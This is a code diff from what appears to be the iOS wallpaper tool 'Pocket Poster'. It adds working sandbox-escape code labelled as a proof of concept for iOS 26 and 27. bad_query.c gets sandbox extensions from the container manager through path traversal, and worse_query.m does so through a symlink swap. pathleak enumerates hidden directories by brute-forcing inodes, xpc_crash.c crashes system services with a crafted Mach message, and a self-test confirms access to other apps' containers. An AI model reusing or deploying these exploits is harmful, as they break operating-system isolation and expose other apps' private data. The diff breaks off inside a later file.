/// Obtain a sandbox extension for an absolute path.
/// - Parameters:
/// - path: Absolute filesystem path.
/// - create: Skip the existence check (needed for sandbox-blocked paths).
@discardableResult
static func consume(path: String, create: Bool = false) throws -> SandboxEscapeHandle {
guard path.hasPrefix("/") else { throw SandboxEscapeError.invalidPath }
guard let backend else { throw SandboxEscapeError.unavailable }
switch backend {
case .worseQuery:
guard let group = appGroupIdentifier else { throw SandboxEscapeError.noAppGroup }
// iOS 26 App Group containers need the alternate operation flags.
let altFlags = ProcessInfo.processInfo.operatingSystemVersion.majorVersion == 26
&& path.contains("/var/mobile/Containers/Shared/AppGroup")
let handle = worse_query(path, group, altFlags, create)
guard handle >= 0 else { throw SandboxEscapeError.fromWorseQuery(handle) }
return SandboxEscapeHandle(handle: handle, path: path, backend: .worseQuery)
case .badQuery:
var cPath = path.utf8CString.map { Int8($0) }
let handle = bad_query(&cPath, create, nil, false)
guard handle >= 0 else { throw SandboxEscapeError.fromBadQuery(handle) }
return SandboxEscapeHandle(handle: handle, path: path, backend: .badQuery)
}
}
// MARK: - Listing
/// Freshly allocated inode just below the current high-water mark.
/// APFS hands out increasing inode numbers, so this bounds a full scan.
private static func baselineInode() -> UInt64 {
let fm = FileManager.default
let url = fm.temporaryDirectory
.appendingPathComponent(".wq_baseline_\(UUID().uuidString)")
do {
try Data("worse_query".utf8).write(to: url)
var info = stat()
let ok = url.path.withCString { stat($0, &info) } == 0
try? fm.removeItem(at: url)
if ok {
return info.st_ino + 1024
}
} catch {
print("(wq) baseline inode failed: \(error.localizedDescription)")
}
return 2_000_000
}
/// Enumerate the immediate children of `path` through fsgetpath.
static func list(path: String, maxInode: UInt64? = nil) throws -> [String] {
let limit = maxInode ?? baselineInode()
guard let paths = pathleak(path, limit) else {
throw SandboxEscapeError.listFailed
}
return paths
}
// MARK: - Container discovery
private static let metadataFileName = ".com.apple.mobile_container_manager.metadata.plist"
/// Read MCMMetadataIdentifier from a container root.
static func readBundleId(fromContainerPath containerPath: String) -> String? {
// Fast path: the container xattr.
if let token = try? consume(path: containerPath, create: true) {
defer { token.release() }
var buffer = [CChar](repeating: 0, count: 512)
let length = getxattr(
containerPath,
"com.apple.containermanager.identifier",
&buffer,
511,
0,
0
)
if length > 0 {
let bundleId = String(cString: buffer)
if !bundleId.isEmpty { return bundleId }
}
}
// Metadata plist fallback.
for name in [metadataFileName, "com.apple.mobile_container_manager.metadata.plist"] {
let metaPath = (containerPath as NSString).appendingPathComponent(name)
guard let token = try? consume(path: metaPath, create: true) else { continue }
defer { token.release() }
if let dict = NSDictionary(contentsOfFile: metaPath) as? [String: Any],
let bundleId = dict["MCMMetadataIdentifier"] as? String,
!bundleId.isEmpty {
return bundleId
}
}
return nil
}
static var defaultSearchRoots: [String] {
var roots = ["/var/mobile/Containers/Data/Application"]
if #available(iOS 27.0, *) {
roots.append("/var/containers/Data/System")
}
roots.append("/var/mobile/Containers/Data/InternalDaemon")
roots.append("/var/mobile/Containers/Data/PluginKitPlugin")
return roots
}
/// Find an application container UUID for a bundle identifier, on-device.
static func findAppHash(bundleId targetBundleId: String, searchRoots: [String]? = nil) throws -> String {
guard isAvailable else { throw SandboxEscapeError.unavailable }
let roots = searchRoots ?? defaultSearchRoots
let inode = baselineInode()
for root in roots {
guard let children = pathleak(root, inode) else { continue }
for child in children {
guard let id = readBundleId(fromContainerPath: child), id == targetBundleId else {
continue
}
return (child as NSString).lastPathComponent
}
}
throw SandboxEscapeError.containerNotFound(targetBundleId)
}
static func findPosterBoardHash() throws -> String {
try findAppHash(bundleId: posterBoardBundleId)
}
static func findCarPlayHash() throws -> String {
try findAppHash(bundleId: carPlayWallpaperBundleId)
}
// MARK: - Path helpers
private static let cacheLock = NSLock()
private static var containerCache: [String: String] = [:]
/// Resolve the container root for a stored hash. iOS 27 keeps some system
/// app containers under /var/containers/Data/System, third-party apps
/// stay under /var/mobile/Containers/Data/Application.
static func applicationContainerPath(appHash: String) -> String {
let hash = appHash.trimmingCharacters(in: .whitespacesAndNewlines)
guard !hash.isEmpty else { return "" }
cacheLock.lock()
if let cached = containerCache[hash] {
cacheLock.unlock()
return cached
}
cacheLock.unlock()
var candidates = ["/var/mobile/Containers/Data/Application/\(hash)"]
if #available(iOS 27.0, *) {
candidates.append("/var/containers/Data/System/\(hash)")
}
for candidate in candidates {
if let handle = try? consume(path: candidate, create: true) {
handle.release()
cacheLock.lock()
containerCache[hash] = candidate
cacheLock.unlock()
return candidate
}
}
return candidates[0]
}
static func descriptorsPath(appHash: String, ext: String) -> String {
let version = SymHandler.getExtensionVersion()
return applicationContainerPath(appHash: appHash)
+ "/Library/Application Support/PRBPosterExtensionDataStore/\(version)/Extensions/\(ext)/descriptors"
}
static func carPlayCachePath(appHash: String) -> String {
return applicationContainerPath(appHash: appHash)
+ "/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images"
}
// MARK: - File operations under a container
/// Create `path` while holding an extension on the container root.
static func ensureDirectory(at path: String, containerRoot: String? = nil) throws {
let fm = FileManager.default
let root = containerRoot ?? inferredContainerRoot(for: path)
guard let root else {
let handle = try consume(path: path, create: true)
defer { handle.release() }
try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
return
}
let handle = try consume(path: root, create: true)
defer { handle.release() }
do {
try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
} catch {
throw SandboxEscapeError.directoryCreateFailed(error.localizedDescription)
}
}
/// Infer the container root from a path.
/// /var/mobile/Containers/Data/Application/<uuid>/...
/// /var/containers/Data/System/<uuid>/...
private static func inferredContainerRoot(for path: String) -> String? {
let components = path.split(separator: "/").map(String.init)
if components.count >= 6,
components[0] == "var",
components[1] == "mobile",
components[2] == "Containers",
components[3] == "Data" {
return "/" + components.prefix(6).joined(separator: "/")
}
if components.count >= 5,
components[0] == "var",
components[1] == "containers",
components[2] == "Data",
components[3] == "System" {
return "/" + components.prefix(5).joined(separator: "/")
}
return nil
}
}
+77
View File
@@ -0,0 +1,77 @@
//
// SelfTest.swift
// Pocket Poster
//
// Launch-time diagnostics, enabled with POCKET_POSTER_SELFTEST=1.
// Used to verify worse_query and container discovery on-device.
//
import Foundation
import UIKit
enum SelfTest {
static var isEnabled: Bool {
ProcessInfo.processInfo.environment["POCKET_POSTER_SELFTEST"] == "1"
}
static func run() {
print("=== Pocket Poster self-test ===")
print("OS: \(ProcessInfo.processInfo.operatingSystemVersionString)")
print("Bundle: \(Bundle.main.bundleIdentifier ?? "?")")
print("App Group: \(SandboxEscape.appGroupIdentifier ?? "nil")")
print("Backend: \(String(describing: SandboxEscape.backend))")
guard SandboxEscape.isAvailable else {
print("self-test: sandbox escape unavailable")
print("=== self-test done ===")
return
}
// 1. Can worse_query grant access to each search root?
for root in SandboxEscape.defaultSearchRoots {
do {
let handle = try SandboxEscape.consume(path: root, create: true)
print("access OK: \(root) (handle \(handle.handle))")
handle.release()
} catch {
print("access FAIL: \(root): \(error.localizedDescription)")
}
}
// 2. Can we find PosterBoard's data container?
let start = Date()
do {
let hash = try SandboxEscape.findPosterBoardHash()
print("PosterBoard hash: \(hash) (scan \(String(format: "%.1f", Date().timeIntervalSince(start)))s)")
let container = SandboxEscape.applicationContainerPath(appHash: hash)
print("PosterBoard container: \(container)")
// 3. Can we open the CollectionsPoster descriptors directory?
let descriptors = SandboxEscape.descriptorsPath(
appHash: hash,
ext: "com.apple.WallpaperKit.CollectionsPoster"
)
do {
let handle = try SandboxEscape.consume(path: descriptors, create: true)
print("descriptors OK: \(descriptors) (handle \(handle.handle))")
handle.release()
} catch {
print("descriptors FAIL: \(descriptors): \(error.localizedDescription)")
}
} catch {
print("PosterBoard detect FAIL: \(error.localizedDescription)")
}
// 4. CarPlay container (phones only).
if UIDevice.current.userInterfaceIdiom == .phone {
do {
let hash = try SandboxEscape.findCarPlayHash()
print("CarPlayWallpaper hash: \(hash)")
} catch {
print("CarPlayWallpaper detect FAIL: \(error.localizedDescription)")
}
}
print("=== self-test done ===")
}
}
+183
View File
@@ -0,0 +1,183 @@
//
// bad_query.c
// bad_query
//
// Created by Taj C on 7/21/26.
//
#include "bad_query.h"
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/stat.h>
#include <xpc/xpc.h>
#include <sys/mount.h>
#include <sys/fsgetpath.h>
typedef void *(*container_query_create_fn)(void);
typedef void (*container_query_set_class_fn)(void *, uint64_t);
typedef void (*container_query_set_identifiers_fn)(void *, xpc_object_t);
typedef void (*container_query_set_flags_fn)(void *, uint64_t);
typedef void (*container_query_set_part_fn)(void *, uint64_t);
typedef void (*container_query_set_part_domain_fn)(void *, const char *);
typedef void *(*container_query_get_single_result_fn)(void *);
typedef void (*container_query_free_fn)(void *);
typedef char *(*container_copy_sandbox_token_fn)(void *);
typedef int64_t (*sandbox_extension_consume_fn)(const char *);
typedef int (*sandbox_extension_release_fn)(int64_t);
int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group) {
// Sanity check our path and check if something already exists there
if (!path || path[0] != '/') return -255; // Not an absolute path
if (!create) {
struct stat st;
if (lstat(path, &st) != 0) return -254; // File is missing, so we'll return
}
// Now the fun begins
void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL);
if (!mgr) return -1; // Failed to dlopen
// Resolve functions
container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create");
container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class");
container_query_set_identifiers_fn query_set_group_identifiers = (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers");
container_query_set_flags_fn query_set_flags = (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags");
container_query_set_part_fn query_set_part = (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part");
container_query_set_part_domain_fn query_set_part_domain = (container_query_set_part_domain_fn)dlsym(mgr, "container_query_operation_set_part_domain");
container_query_get_single_result_fn query_get_single_result = (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result");
container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free");
container_copy_sandbox_token_fn copy_sandbox_token = (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token");
sandbox_extension_consume_fn consume_extension = (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume");
int64_t handle = -1;
if (!query_create || !query_set_class || !query_set_group_identifiers || !query_set_flags || !query_set_part || !query_set_part_domain || !query_get_single_result || !query_free || !copy_sandbox_token || !consume_extension) {
dlclose(mgr);
return -1; // Failed to resolve a function
}
// Create query
void *query = query_create();
if (!query) {
dlclose(mgr);
return -2; // Failed to create query
}
// Set up query
// Two routes here, supply an App Group you control (to access other App Groups on iOS 26) or don't, and use MobileGestalt's SystemGroup as a target instead. If targeting iOS 26 and trying to access App Groups, also set is_group to true to use the correct flags.
xpc_object_t identifier;
if (group_identifier == NULL) {
query_set_class(query, 13); // Class 13 (MCMSharedSystemDataContainer) routes to containermanagerd_system
identifier = xpc_string_create("systemgroup.com.apple.mobilegestaltcache");
} else {
query_set_class(query, 7); // Class 7 (MCMSharedDataContainer) routes to containermanagerd
identifier = xpc_string_create(group_identifier);
}
query_set_group_identifiers(query, identifier);
query_set_part(query, 3); // Part determines our starting point, part 3 is Library/Caches
char *part = NULL;
// Oldest trick in the book. Basic path traversal.
if (group_identifier == NULL) {
if (asprintf(&part, "../../../../../../../..%s", path) != -1) {
query_set_part_domain(query, part);
} else {
xpc_release(identifier);
query_free(query);
dlclose(mgr);
return -5; // asprintf failed for some reason
}
} else {
// We have to go one level higher to get to / from an App Group
if (asprintf(&part, "../../../../../../../../..%s", path) != -1) {
query_set_part_domain(query, part);
} else {
xpc_release(identifier);
query_free(query);
dlclose(mgr);
return -5; // Same thing
}
}
// To access App Groups on iOS 26, you have to use different flags, this doesn't apply on 27
if (is_group) {
query_set_flags(query, 0x0000000800000000ULL);
} else {
query_set_flags(query, 0x0000008000000000ULL);
}
// Send our query over
void *result = query_get_single_result(query);
if (!result) {
free(part);
xpc_release(identifier);
query_free(query);
dlclose(mgr);
return -3; // Outside of sandbox
}
char *token = copy_sandbox_token(result);
if (!token) {
free(part);
xpc_release(identifier);
query_free(query);
dlclose(mgr);
return -4; // Kernel refused to issue a sandbox extension
}
// Consume our fresh sandbox extension and clean up
handle = consume_extension(token);
free(token);
free(part);
xpc_release(identifier);
query_free(query);
dlclose(mgr);
return handle;
}
void bad_query_release(int64_t handle) {
if (handle < 0) return;
sandbox_extension_release_fn release_extension = (sandbox_extension_release_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_release");
if (release_extension) release_extension(handle);
}
// This still works on 27.0b5
// I'm including it here because it's very useful in the context of this sandbox escape, which can't access parent directories (most of the time)
// This enumerates all directories in a given path, so you can, for example, get all container UUIDs, read their container metadata to get their bundle ID, and derive that entirely on-device without a computer
char *bad_query_list(char *path, int64_t max_inode) {
struct statfs sfs;
// Prefer the target path; fall back to known on-volume roots if sandboxed
if (statfs(path, &sfs) != 0) {
if (statfs("/private/var", &sfs) != 0 && statfs("/var", &sfs) != 0) {
return NULL;
}
}
fsid_t fsid = sfs.f_fsid;
size_t cap = 65536;
size_t length = 0;
size_t path_length = strlen(path);
char *out = malloc(cap);
if (!out) return NULL;
out[0] = '\0';
char buf[1200];
for (uint64_t ino = 1; ino <= max_inode; ino++) {
ssize_t n = fsgetpath(buf, sizeof(buf), &fsid, ino);
if (n <= 0) continue;
const char *p = buf;
if (strncmp(p, "/private/var/", 13) == 0) p += 8;
if (strncmp(p, path, path_length) != 0 || p[path_length] != '/') continue;
if (strchr(p + path_length + 1, '/')) continue;
size_t need = strlen(p) + 2;
if (length + need > cap) { cap *= 2; char *t = realloc(out, cap); if (!t) break; out = t; }
length += snprintf(out + length, cap - length, "%s\n", p);
}
return out;
}
+18
View File
@@ -0,0 +1,18 @@
//
// bad_query.h
// bad_query
//
// Created by Taj C on 7/21/26.
//
#ifndef bad_query_h
#define bad_query_h
#include <stdio.h>
#include <stdbool.h>
int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group);
char *bad_query_list(char *path, int64_t max_inode);
void bad_query_release(int64_t handle);
#endif /* bad_query_h */
+33
View File
@@ -0,0 +1,33 @@
//
// pathleak.h
// worse_query
//
// Created by Taj C on 9/2/26.
//
/*
pathleak - The dumbest arbitrary path enumeration.
Copyright (C) 2026 Taj C (forcequit)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
#ifndef pathleak_h
#define pathleak_h
#import <Foundation/Foundation.h>
NSArray<NSString *> *pathleak(NSString *filter, uint64_t max_inode);
#endif /* pathleak_h */
+82
View File
@@ -0,0 +1,82 @@
//
// pathleak.m
// worse_query
//
// Created by Taj C on 9/2/26.
//
/*
pathleak - The dumbest arbitrary path enumeration.
Copyright (C) 2026 Taj C (forcequit)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
#import <Foundation/Foundation.h>
#include <sys/fsgetpath.h>
#include <sys/mount.h>
// This is just a rewrite of bad_query_list to return an NSString array and run faster
// The way this works is literally just brute-forcing inodes and doing fsgetpath until it gets a matching path, lol.
// Which is still, obviously, dramatically faster than brute-forcing UUIDs.
// It might be possible to derive a sane inode value automagically by just creating a file, doing stat() on it, getting *that* file's inode, then using that for the max_inode count.
NSArray<NSString *> *pathleak(NSString *path, uint64_t max_inode) {
// Sanity checks
if (path.length == 0 || max_inode < 1) return nil;
NSString *dir = path;
while (dir.length > 1 && [dir hasSuffix: @"/"]) { // Trim trailing slash (if present)
dir = [dir substringToIndex: dir.length - 1];
}
// Set everything up
struct statfs sfs;
if (statfs(dir.fileSystemRepresentation, &sfs) != 0) {
// Sandboxed apps may not be allowed to statfs an arbitrary container
// root, but the volume is the same as /private/var.
if (statfs("/private/var", &sfs) != 0 && statfs("/var", &sfs) != 0) return nil;
}
fsid_t fsid = sfs.f_fsid;
char prefix[PATH_MAX];
if (![dir getFileSystemRepresentation: prefix maxLength: sizeof(prefix)]) return nil;
size_t prefix_length = strlen(prefix);
if (prefix_length == 1 && prefix[0] == '/') prefix_length = 0;
NSFileManager *files = [NSFileManager defaultManager];
NSMutableArray<NSString *> *result = [NSMutableArray array];
char buffer[PATH_MAX];
// Brute-force inodes to their corresponding paths
// I'd like to make this multithreaded at some point, but I don't think it'll help.
for (uint64_t inode = 1; inode <= max_inode; inode++) {
ssize_t n = fsgetpath(buffer, sizeof(buffer), &fsid, inode);
if (n <= 0) continue;
// fsgetpath can return /private/var/... while callers pass /var/...
const char *path = buffer;
if (strncmp(path, "/private/var/", 13) == 0 && strncmp(prefix, "/var/", 5) == 0) {
path += 8;
}
if (strncmp(path, prefix, prefix_length) != 0) continue;
if (path[prefix_length] != '/') continue;
if (strchr(path + prefix_length + 1, '/')) continue;
NSString *string = [files stringWithFileSystemRepresentation: path length: strlen(path)];
if (string) [result addObject: string];
}
return result;
}
+36
View File
@@ -0,0 +1,36 @@
//
// worse_query.h
// worse_query
//
// Created by Taj C on 8/20/26.
//
/*
worse_query - A sandbox escape PoC for iOS 26 and 27, again.
Copyright (C) 2026 Taj C (forcequit)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
#ifndef worse_query_h
#define worse_query_h
#import <Foundation/Foundation.h>
#include <stdint.h>
#include <stdbool.h>
int64_t worse_query(NSString *path, NSString *group, bool alt_flags, bool create_dir);
void worse_query_release(int64_t handle);
#endif /* worse_query_h */
+148
View File
@@ -0,0 +1,148 @@
//
// worse_query.m
// worse_query
//
// Created by Taj C on 8/20/26.
//
/*
worse_query - A sandbox escape PoC for iOS 26 and 27, again.
Copyright (C) 2026 Taj C (forcequit)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
#import <Foundation/Foundation.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <xpc/xpc.h>
#include <sys/stat.h>
#include "worse_query.h"
typedef void *(*container_query_create_fn)(void);
typedef void (*container_query_set_class_fn)(void *, uint64_t);
typedef void (*container_query_set_identifiers_fn)(void *, xpc_object_t);
typedef void (*container_query_set_flags_fn)(void *, uint64_t);
typedef void (*container_query_set_part_fn)(void *, uint64_t);
typedef void *(*container_query_get_single_result_fn)(void *);
typedef void (*container_query_free_fn)(void *);
typedef char *(*container_copy_sandbox_token_fn)(void *);
typedef int64_t (*sandbox_extension_consume_fn)(const char *);
typedef int (*sandbox_extension_release_fn)(int64_t);
// Remove symlink and recreate Caches directory
static void clean_symlink(NSString *group) {
if (group != NULL) {
NSFileManager *files = [NSFileManager defaultManager];
NSURL *groupRoot = [files containerURLForSecurityApplicationGroupIdentifier: group];
if (groupRoot) {
NSURL *caches = [groupRoot URLByAppendingPathComponent: @"Library/Caches"];
[files removeItemAtURL: caches error: nil];
[files createDirectoryAtURL: caches withIntermediateDirectories: false attributes: nil error: nil];
}
}
return;
}
// So, who's ready for round two?
int64_t worse_query(NSString *target, NSString *group, bool alt_flags, bool create_dir) {
// Check if the target exists
if (!create_dir) {
struct stat st;
if (lstat(target.fileSystemRepresentation, &st) != 0) return -255; // Nothing exists at this path, and create_dir is false
}
// Get the App Group's path
// An App Group identifier you control is required for this
NSFileManager *files = [NSFileManager defaultManager];
NSURL *groupRoot = [files containerURLForSecurityApplicationGroupIdentifier: group];
if (!groupRoot) return -1; // App Group doesn't exist or we can't access it
NSString *caches = [[groupRoot URLByAppendingPathComponent: @"Library/Caches"] path];
// Resolve functions
void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL);
if (!mgr) return -2; // dlopen failed?
container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create");
container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class");
container_query_set_identifiers_fn query_set_group_identifiers = (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers");
container_query_set_flags_fn query_set_flags = (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags");
container_query_set_part_fn query_set_part = (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part");
container_query_get_single_result_fn query_get_single_result = (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result");
container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free");
container_copy_sandbox_token_fn copy_sandbox_token = (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token");
sandbox_extension_consume_fn consume_extension = (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume");
if (!query_create || !query_set_class || !query_set_group_identifiers || !query_set_flags || !query_set_part || !query_get_single_result || !query_free || !copy_sandbox_token || !consume_extension) {
dlclose(mgr);
return -2; // Failed to resolve a function (unsupported OS)
}
// Create query
void *query = query_create();
if (!query) {
dlclose(mgr);
return -3; // Failed to create query
}
// Set up query
xpc_object_t identifier;
query_set_class(query, 7); // We're only using class 7 here (appGroup), which goes to containermanagerd
identifier = xpc_string_create(group.UTF8String);
query_set_group_identifiers(query, identifier);
query_set_part(query, 3); // The query's part sets our base path, part 3 is Library/Caches
if (alt_flags) {
query_set_flags(query, 0x0000000800000000ULL); // Accessing App Group containers on iOS 26.x needs different flags, for whatever reason
} else {
query_set_flags(query, 0x0000008000000000ULL);
}
// Set up symlink
[files removeItemAtPath: caches error: nil];
if ([files createSymbolicLinkAtPath: caches withDestinationPath: target error: nil] == false) {
dlclose(mgr);
return -4; // Failed to create symlink
}
// Send our query over
void *result = query_get_single_result(query);
if (!result) {
query_free(query);
dlclose(mgr);
clean_symlink(group);
return -5; // Query rejected by containermanagerd
}
char *token = copy_sandbox_token(result);
if (!token) {
query_free(query);
dlclose(mgr);
clean_symlink(group);
return -6; // Kernel refused to issue a sandbox extension
}
// Consume sandbox extension and clean up
int64_t handle = consume_extension(token);
query_free(query);
free(token);
dlclose(mgr);
clean_symlink(group);
return handle;
}
// You should probably call this when you're done
void worse_query_release(int64_t handle) {
if (handle < 0) return;
sandbox_extension_release_fn release_extension = (sandbox_extension_release_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_release");
if (release_extension) release_extension(handle);
}
+110
View File
@@ -0,0 +1,110 @@
//
// xpc_crash.c
// Pocket Poster
//
// Ported from Cowabunga / TrollTools helpers.m
// (xpc w00t technique: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html)
//
#include "xpc_crash.h"
#include <string.h>
#include <mach/mach.h>
#include <mach-o/dyld.h>
// bootstrap_look_up is in libsystem_kernel / libxpc but not always in public headers
extern kern_return_t bootstrap_look_up(mach_port_t bp, const char *service_name, mach_port_t *sp);
extern mach_port_t bootstrap_port;
struct xpc_w00t {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_port_descriptor_t client_port;
mach_msg_port_descriptor_t reply_port;
};
static mach_port_t get_send_once(mach_port_t recv) {
mach_port_t so = MACH_PORT_NULL;
mach_msg_type_name_t type = 0;
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
if (err != KERN_SUCCESS) {
return MACH_PORT_NULL;
}
return so;
}
void xpc_crasher(char *service_name) {
mach_port_t client_port = MACH_PORT_NULL;
mach_port_t reply_port = MACH_PORT_NULL;
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
if (err != KERN_SUCCESS) {
printf("xpc_crasher: unable to look up %s\n", service_name);
return;
}
if (service_port == MACH_PORT_NULL) {
printf("xpc_crasher: bad service port for %s\n", service_name);
return;
}
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
if (err != KERN_SUCCESS) {
return;
}
mach_port_t so0 = get_send_once(client_port);
mach_port_t so1 = get_send_once(client_port);
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
return;
}
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
if (err != KERN_SUCCESS) {
return;
}
struct xpc_w00t msg;
memset(&msg.hdr, 0, sizeof(msg));
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
msg.hdr.msgh_size = sizeof(msg);
msg.hdr.msgh_remote_port = service_port;
msg.hdr.msgh_id = 'w00t';
msg.body.msgh_descriptor_count = 2;
msg.client_port.name = client_port;
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE;
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
msg.reply_port.name = reply_port;
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
err = mach_msg(&msg.hdr,
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
msg.hdr.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
printf("xpc_crasher: w00t send failed for %s: %s\n", service_name, mach_error_string(err));
} else {
printf("xpc_crasher: sent w00t to %s\n", service_name);
}
if (so0 != MACH_PORT_NULL) mach_port_deallocate(mach_task_self(), so0);
if (so1 != MACH_PORT_NULL) mach_port_deallocate(mach_task_self(), so1);
}
void restartBackboard(void) {
xpc_crasher("com.apple.backboard.TouchDeliveryPolicyServer");
}
void restartFrontboard(void) {
// May not kill the calling app on some versions — caller should exit(0) after.
xpc_crasher("com.apple.frontboard.systemappservices");
}
+22
View File
@@ -0,0 +1,22 @@
//
// xpc_crash.h
// Pocket Poster
//
// Userspace respring helpers (from Cowabunga / Project Zero xpc w00t).
//
#ifndef xpc_crash_h
#define xpc_crash_h
#include <stdio.h>
/// Crash an XPC service by name (triggers relaunch of the hosting process).
void xpc_crasher(char *service_name);
/// Respring via crashing com.apple.backboard.TouchDeliveryPolicyServer
void restartBackboard(void);
/// Respring via crashing com.apple.frontboard.systemappservices
void restartFrontboard(void);
#endif /* xpc_crash_h */
-72
View File
@@ -1,72 +0,0 @@
//
// Alert++.swift
// Cowabunga
//
// Created by sourcelocation on 30/01/2023.
//
import UIKit
// credit: sourcelocation & TrollTools
var currentUIAlertController: UIAlertController?
fileprivate let errorString = NSLocalizedString("Error", comment: "")
fileprivate let okString = NSLocalizedString("OK", comment: "")
fileprivate let cancelString = NSLocalizedString("Cancel", comment: "")
extension UIApplication {
func dismissAlert(animated: Bool) {
DispatchQueue.main.async {
currentUIAlertController?.dismiss(animated: animated)
}
}
func alert(title: String = errorString, body: String, animated: Bool = true, withButton: Bool = true) {
DispatchQueue.main.async {
var body = body
if title == errorString {
// append debug info
let device = UIDevice.current
let appVersion = Bundle.main.infoDictionary?["CFBundleShortVersionString"] as? String ?? ""
let appBuild = Bundle.main.infoDictionary?["CFBundleVersion"] as? String ?? ""
let systemVersion = device.systemVersion
body += "\n\(device.systemName) \(systemVersion), version \(appVersion) build \(appBuild)"
}
currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert)
if withButton { currentUIAlertController?.addAction(.init(title: okString, style: .cancel)) }
self.present(alert: currentUIAlertController!)
}
}
func confirmAlert(title: String = errorString, body: String, confirmTitle: String = okString, onOK: @escaping () -> (), noCancel: Bool) {
DispatchQueue.main.async {
currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert)
if !noCancel {
currentUIAlertController?.addAction(.init(title: cancelString, style: .cancel))
}
currentUIAlertController?.addAction(.init(title: confirmTitle, style: noCancel ? .cancel : .default, handler: { _ in
onOK()
}))
self.present(alert: currentUIAlertController!)
}
}
func change(title: String = errorString, body: String) {
DispatchQueue.main.async {
currentUIAlertController?.title = title
currentUIAlertController?.message = body
}
}
func present(alert: UIAlertController) {
if var topController = self.windows[0].rootViewController {
while let presentedViewController = topController.presentedViewController {
topController = presentedViewController
}
topController.present(alert, animated: true)
// topController should now be your topmost view controller
}
}
}
@@ -0,0 +1,30 @@
//
// Reorderable.swift
// Pocket Poster
//
// Created by lemin on 6/22/25.
//
import Foundation
protocol Reorderable {
associatedtype OrderElement: Equatable
var orderElement: OrderElement { get }
}
extension Array where Element: Reorderable {
